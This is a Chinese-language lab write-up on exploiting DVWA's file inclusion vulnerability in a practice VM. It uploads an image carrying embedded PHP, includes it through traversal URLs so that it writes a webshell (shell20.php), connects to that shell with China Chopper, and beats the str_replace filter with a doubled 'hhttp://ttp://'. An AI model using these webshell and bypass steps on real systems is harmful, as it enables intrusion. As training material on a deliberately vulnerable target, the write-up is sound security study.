项目实验环境
OWASP Broken Web Apps VM v1.2 靶场
burpsuite 代理服务器
Kali-Linux-2020.1-vmware-amd64 攻击机
中国菜刀 连接webshell
edjpgcom 图片注入代码
原理与危害
文件包含漏洞:即File Inclusion ,意思是文件包含(漏洞)是,指当服务器开启allow. _url_include选项时 ,就可
以通过php的某些特性函数( include() , require()和include_ once() , require_ once() )利用url去动态包含文
件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_ url_fopen选项 (选项开启之后, 服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意 文件,而我们可以构造这个恶意文件来达到自己的目的。
1.文件包含(File Inclusion )即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2.被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
本地文件包含LFI ( Local File Inclusion )当被包含的文件在服务器本地时 ,就形成本地文件包含
远程文件包含RFI ( Remote File Inclusion )当被包含的文件在第三 方服务器时,叫做远程文件包含
vim /etc/php5/cli/php.ini php文件上传的规则
漏洞分析:
网页开发者为了把网站需要的php程序用正则表达式包含进来的话,写成如下格式,而这样就会造成把恶意木马程序包含进来,下图展示的是一句话木马程序
本地包含:所有包含文件都在本地 LFI local file include
外部包含:所包含的文件在外部的服务器上 RFI file include
简单的说,如果恶意的代码存在于本地上,就可使用LFI进行包含,从而使用一些工具进行数据挖掘,如果恶意的代码存在于外部服务器上,就可使用RFI进行包含,从而使用工具进行数据挖掘
** 注意:**
图片并不是单纯的一句话木马,那样的话中国菜刀是不能进爆破的,要将图片执行并生成webshell,从而执行恶意的木马
设计说明:网页没有限制文件的类型等,只要存在这个实例就可以进行包含
查看页面源代码
$file = $_GET['page']; //The page we wish to display ?>
设计: 在本地主机上传一个带有一句话木马的图片,上传的级别采用高级(承接之前的文件上传的高级别的漏洞防护),由于上传的是图片,则后缀名就是网页要求的格式,则可以直接进行上传,上传后可以正常打开图片,但是shell代码将不会执行,需要执行图片包含的木马程序,生成后门。
详细分析图解:
文件目录说明:
/var/www/dvwa/hackable/uploads #文件上传路径
var/www/dvwa/vulnerabilities/fi #文件包含路径
演示:
1.本地生成一个带有木马程序的图片文件,将其上传至系统中(因为下一步要执行的是LFI文件包含),其文件的绝对路径是
fputs(fopen("shell20.php","w"),'')?> 木马文件
/var/www/dvwa/hackable/uploads/yichen.jpg 绝对路径
2.将图片上产到本地系统中,但是图片的webshell并没有执行,要制作webshell,所以要执行图片包含的木马程序,生成后门,在文件包含的访问页面下,访问图片
http://192.168.211.143/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yichen.jpg
或者访问绝对路径
http://192.168.211.143/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yichen.jpg
注意:
因为用的是文件包含去执行的这个图片木马,又因为木马程序没有指定路径,则就被包含到了这个路径下
shell20.php被LFI上传至 /var/www/dvwa/vulnerabilities/fi
通过文件上传可以正常打开图片,但是并没有执行图片的shell
文件包含页面执行图片shell,并在当前目录下生成了一个shell文件
3.通过菜刀连接webshell,可见与预期相符
http://192.168.211.143/dvwa/vulnerabilities/fi/shell20.php
**分析:**通过查看后台的php代码 ,不难发现,其网页将http://与https://换成了空字符导致远程连接文件包含时不能识别远程服务器的IP地址
**解决:**写两个http://,即第一个被置换成 空字符,而第二个正常使用,这个函数只是将连续的http://字符来进行替换,还可以写成hhttp://ttp://
查看网页源代码:
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
查看网页的后台语言,可见,其限制了文件包含的名字,这当然也是可以进行注入木马程序的,直接将创建木马程序的文件名规定为页面限制的即可,这个对于页面来说,当然是不利的,这个是写死的代码,不利于后期的扩展与维护
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit; }
?>